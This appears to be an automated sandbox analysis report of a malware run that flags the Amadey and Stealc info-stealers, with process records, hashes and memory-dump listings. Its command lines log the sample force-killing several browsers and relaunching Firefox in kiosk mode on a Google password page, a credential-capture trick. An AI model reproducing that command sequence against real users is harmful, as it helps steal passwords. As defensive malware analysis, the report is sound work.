Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe"
Imagebase:	0x460000
File size:	1'887'744 bytes
MD5 hash:	B54F03BAF9BE367B7557E928638593AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000002A.00000002.3183709481.0000000000461000.00000040.00000001.01000000.0000001F.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000002A.00000003.3142995124.0000000005050000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	19:21:53
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002490001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002490001\num.exe"
Imagebase:	0x180000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002B.00000000.3179302627.0000000000181000.00000080.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002B.00000002.3194034394.0000000000181000.00000080.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002B.00000002.3195502176.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	19:21:57
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x7f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	19:21:57
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	19:21:57
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x7f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	19:21:57
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	19:21:57
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x7f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	19:21:58
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	19:21:58
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x7f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	19:21:58
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	19:21:58
Start date:	29/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	19:21:58
Start date:	29/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 01106A7C Relevance: .6, Instructions: 599COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2124302267.00000000010FA000.00000004.00000020.00020000.00000000.sdmp, Offset: 01104000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_10fa000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab8787a24fb14d2ff26ecf0e51c8840edb293e501a9d8d994896a544a5d1d66b
Instruction ID: f230dc737f8b4c75460658ce3f325c22ac3548699c165940515896e0e1efe5c9
Opcode Fuzzy Hash: ab8787a24fb14d2ff26ecf0e51c8840edb293e501a9d8d994896a544a5d1d66b
Instruction Fuzzy Hash: FE420E6280E3C14FD3078B708D79691BFB1AE13118B0E86CFC4C98F4A3D399995AD762

Function 01106A7C Relevance: .6, Instructions: 599COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2124302267.00000000010FA000.00000004.00000020.00020000.00000000.sdmp, Offset: 010FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_10fa000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab8787a24fb14d2ff26ecf0e51c8840edb293e501a9d8d994896a544a5d1d66b
Instruction ID: f230dc737f8b4c75460658ce3f325c22ac3548699c165940515896e0e1efe5c9
Opcode Fuzzy Hash: ab8787a24fb14d2ff26ecf0e51c8840edb293e501a9d8d994896a544a5d1d66b
Instruction Fuzzy Hash: FE420E6280E3C14FD3078B708D79691BFB1AE13118B0E86CFC4C98F4A3D399995AD762

Function 01106A7C Relevance: .6, Instructions: 599COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2124302267.00000000010FA000.00000004.00000020.00020000.00000000.sdmp, Offset: 010FB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_10fa000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab8787a24fb14d2ff26ecf0e51c8840edb293e501a9d8d994896a544a5d1d66b
Instruction ID: f230dc737f8b4c75460658ce3f325c22ac3548699c165940515896e0e1efe5c9
Opcode Fuzzy Hash: ab8787a24fb14d2ff26ecf0e51c8840edb293e501a9d8d994896a544a5d1d66b
Instruction Fuzzy Hash: FE420E6280E3C14FD3078B708D79691BFB1AE13118B0E86CFC4C98F4A3D399995AD762

Function 01106A7C Relevance: .6, Instructions: 599COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2124302267.00000000010FA000.00000004.00000020.00020000.00000000.sdmp, Offset: 01102000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_10fa000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab8787a24fb14d2ff26ecf0e51c8840edb293e501a9d8d994896a544a5d1d66b
Instruction ID: f230dc737f8b4c75460658ce3f325c22ac3548699c165940515896e0e1efe5c9
Opcode Fuzzy Hash: ab8787a24fb14d2ff26ecf0e51c8840edb293e501a9d8d994896a544a5d1d66b
Instruction Fuzzy Hash: FE420E6280E3C14FD3078B708D79691BFB1AE13118B0E86CFC4C98F4A3D399995AD762

Function 0110F9DA Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2144298177.000000000110C000.00000004.00000020.00020000.00000000.sdmp, Offset: 0110C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_110c000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b73cfaa4c74d7d30b41be260d8cd4d51a2d730dba950a08fc68f757020e976ae
Instruction ID: 7efe9f771fd9d499fda0fcbd6efccda2118a2a62792b10e8ff451df9aedc45a9
Opcode Fuzzy Hash: b73cfaa4c74d7d30b41be260d8cd4d51a2d730dba950a08fc68f757020e976ae
Instruction Fuzzy Hash: E9B18A6184E7C14FD3278B349879691BFB16F13219B1E82DBC4C9CF0E3E269594AC762

Function 0110F9DA Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2144298177.000000000110C000.00000004.00000020.00020000.00000000.sdmp, Offset: 0110D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_110c000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b73cfaa4c74d7d30b41be260d8cd4d51a2d730dba950a08fc68f757020e976ae
Instruction ID: 7efe9f771fd9d499fda0fcbd6efccda2118a2a62792b10e8ff451df9aedc45a9
Opcode Fuzzy Hash: b73cfaa4c74d7d30b41be260d8cd4d51a2d730dba950a08fc68f757020e976ae
Instruction Fuzzy Hash: E9B18A6184E7C14FD3278B349879691BFB16F13219B1E82DBC4C9CF0E3E269594AC762

Function 01103200 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2124302267.00000000010FA000.00000004.00000020.00020000.00000000.sdmp, Offset: 010FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_10fa000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad7106072cccb6250f64240b00ceffe28318b55034a71c55672aa8854fd5ef7
Instruction ID: 9f14be7ecb4447ca5e4bcf695342d321a32e8ea213c64d6d44ead1a36f294d77
Opcode Fuzzy Hash: dad7106072cccb6250f64240b00ceffe28318b55034a71c55672aa8854fd5ef7
Instruction Fuzzy Hash: 1AB1ACA544E7C14FD3038B7498696957FB0AF13218B0F86EBC4C4CF4E3E259595AD362

Function 01103200 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2124302267.00000000010FA000.00000004.00000020.00020000.00000000.sdmp, Offset: 010FB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_10fa000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad7106072cccb6250f64240b00ceffe28318b55034a71c55672aa8854fd5ef7
Instruction ID: 9f14be7ecb4447ca5e4bcf695342d321a32e8ea213c64d6d44ead1a36f294d77
Opcode Fuzzy Hash: dad7106072cccb6250f64240b00ceffe28318b55034a71c55672aa8854fd5ef7
Instruction Fuzzy Hash: 1AB1ACA544E7C14FD3038B7498696957FB0AF13218B0F86EBC4C4CF4E3E259595AD362

Function 01103200 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2124302267.00000000010FA000.00000004.00000020.00020000.00000000.sdmp, Offset: 01102000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_10fa000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad7106072cccb6250f64240b00ceffe28318b55034a71c55672aa8854fd5ef7
Instruction ID: 9f14be7ecb4447ca5e4bcf695342d321a32e8ea213c64d6d44ead1a36f294d77
Opcode Fuzzy Hash: dad7106072cccb6250f64240b00ceffe28318b55034a71c55672aa8854fd5ef7
Instruction Fuzzy Hash: 1AB1ACA544E7C14FD3038B7498696957FB0AF13218B0F86EBC4C4CF4E3E259595AD362

Function 01100D14 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2124302267.00000000010FA000.00000004.00000020.00020000.00000000.sdmp, Offset: 010FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_10fa000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36b76f1bb6d056a4efec7d51ff95ec3bbe658a9ea6503e6d504ee8c0ab2aceab
Instruction ID: 141a33a5e5c4f93d6c45541822844ba17ad5433fb0ea0e2aaf7b069461182a55
Opcode Fuzzy Hash: 36b76f1bb6d056a4efec7d51ff95ec3bbe658a9ea6503e6d504ee8c0ab2aceab
Instruction Fuzzy Hash: 5D51353140E3D19FC70B8B3499A16D6BF74AF4B324B1D42CAE0C19F4A3C3666986D756

Function 01100D14 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2124302267.00000000010FA000.00000004.00000020.00020000.00000000.sdmp, Offset: 010FB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_10fa000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36b76f1bb6d056a4efec7d51ff95ec3bbe658a9ea6503e6d504ee8c0ab2aceab
Instruction ID: 141a33a5e5c4f93d6c45541822844ba17ad5433fb0ea0e2aaf7b069461182a55
Opcode Fuzzy Hash: 36b76f1bb6d056a4efec7d51ff95ec3bbe658a9ea6503e6d504ee8c0ab2aceab
Instruction Fuzzy Hash: 5D51353140E3D19FC70B8B3499A16D6BF74AF4B324B1D42CAE0C19F4A3C3666986D756

Analysis Process: F7UO7T49UKQNSZTWA8QFF.exePID: 6392, Parent PID: 5044COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	41.4%
Signature Coverage:	10.3%
Total number of Nodes:	29
Total number of Limit Nodes:	1

Executed Functions

Function 00379B29 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 72
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00379B58

Strings

C, xrefs: 00379E70

Memory Dump Source

Source File: 00000003.00000002.2369191734.0000000000374000.00000040.00000001.01000000.00000006.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2368966071.00000000001F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2368990057.00000000001F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369010219.00000000001F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369029282.00000000001FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369050764.0000000000206000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369148036.0000000000357000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369167657.000000000035A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369191734.000000000037E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369239838.0000000000396000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369261686.0000000000397000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369281147.0000000000398000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369300958.0000000000399000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369319532.000000000039A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369338384.000000000039B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369357792.00000000003A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369377205.00000000003A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369398938.00000000003B3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369419623.00000000003B4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369439849.00000000003BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369459688.00000000003C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369479591.00000000003D1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369500134.00000000003D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369519188.00000000003D9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369538924.00000000003DB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369559521.00000000003E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369580528.00000000003EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369601797.00000000003F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369621250.00000000003F6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369640828.00000000003F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369660120.00000000003FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369678531.00000000003FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369699254.0000000000401000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369721958.0000000000416000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369741948.000000000041A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369760631.000000000041C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369778310.000000000041F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369796379.0000000000420000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369814887.0000000000428000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369835789.000000000043C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369853070.000000000043D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369873060.000000000044B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369891426.000000000044D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369919140.0000000000485000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369937763.0000000000487000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369955601.0000000000488000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369955601.000000000048E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369992141.000000000049E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2370009699.00000000004A0000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_F7UO7T49UKQNSZTWA8QFF.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 64f1b4e0e69c454ca784f6f86a527c5e14869a5fd666f72eb310ab6f15cc737c
Instruction ID: 12990bb9c1effe71cb47e118f7165552b498e4ec611c434d73178a8bbea63e15
Opcode Fuzzy Hash: 64f1b4e0e69c454ca784f6f86a527c5e14869a5fd666f72eb310ab6f15cc737c
Instruction Fuzzy Hash: 59115BB1008319AED322DE2588907BE7ADCEB85320F30CA1BF485C7E41C16E0C419721

Function 04880AB0 Relevance: 1.6, APIs: 1, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32(00000000), ref: 04880C19

Memory Dump Source

Source File: 00000003.00000002.2371779858.0000000004880000.00000040.00000800.00020000.00000000.sdmp, Offset: 04880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4880000_F7UO7T49UKQNSZTWA8QFF.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 2c343e85e0829762f7c5640763a4b011dc76bd533d6343261a3b58dc562cdc85
Instruction ID: 89b0aeea013f29d53308eada30c4f94870336d0d0652257ce66bf6677c1528e9
Opcode Fuzzy Hash: 2c343e85e0829762f7c5640763a4b011dc76bd533d6343261a3b58dc562cdc85
Instruction Fuzzy Hash: 0C514870D002088FDB14DFA9C584B9EFBF1AF49304F15852DD81AAB395D778A849CF95

Function 001FB7FA Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 001FB96A

Memory Dump Source

Source File: 00000003.00000002.2369029282.00000000001FA000.00000040.00000001.01000000.00000006.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2368966071.00000000001F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2368990057.00000000001F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369010219.00000000001F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369050764.0000000000206000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369148036.0000000000357000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369167657.000000000035A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369191734.0000000000374000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369191734.000000000037E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369239838.0000000000396000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369261686.0000000000397000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369281147.0000000000398000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369300958.0000000000399000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369319532.000000000039A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369338384.000000000039B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369357792.00000000003A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369377205.00000000003A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369398938.00000000003B3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369419623.00000000003B4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369439849.00000000003BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369459688.00000000003C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369479591.00000000003D1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369500134.00000000003D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369519188.00000000003D9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369538924.00000000003DB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369559521.00000000003E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369580528.00000000003EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369601797.00000000003F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369621250.00000000003F6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369640828.00000000003F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369660120.00000000003FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369678531.00000000003FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369699254.0000000000401000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369721958.0000000000416000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369741948.000000000041A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369760631.000000000041C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369778310.000000000041F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369796379.0000000000420000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369814887.0000000000428000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369835789.000000000043C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369853070.000000000043D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369873060.000000000044B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369891426.000000000044D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369919140.0000000000485000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369937763.0000000000487000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369955601.0000000000488000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369955601.000000000048E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369992141.000000000049E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2370009699.00000000004A0000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_F7UO7T49UKQNSZTWA8QFF.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 526e9091306c6e637ead98e06b9e9569531b10955beb73b9f0f85867c3117bb1
Instruction ID: f3bdc0a39682f4f1ff77075d0c7bc9398a866e2ec9612f0aa01eb17d0f447f6f
Opcode Fuzzy Hash: 526e9091306c6e637ead98e06b9e9569531b10955beb73b9f0f85867c3117bb1
Instruction Fuzzy Hash: F4E0C2B114C58EDADF26DF60C8427BA370EEB94704F100116FB41AAF49CB6D0C11C795

Function 00379D94 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 73
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00379E12

Strings

C, xrefs: 00379E70

Memory Dump Source

Source File: 00000003.00000002.2369191734.0000000000374000.00000040.00000001.01000000.00000006.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2368966071.00000000001F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2368990057.00000000001F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369010219.00000000001F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369029282.00000000001FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369050764.0000000000206000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369148036.0000000000357000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369167657.000000000035A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369191734.000000000037E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369239838.0000000000396000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369261686.0000000000397000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369281147.0000000000398000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369300958.0000000000399000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369319532.000000000039A000.00000080.00000001.01000000.00000006.sdmpDownload File
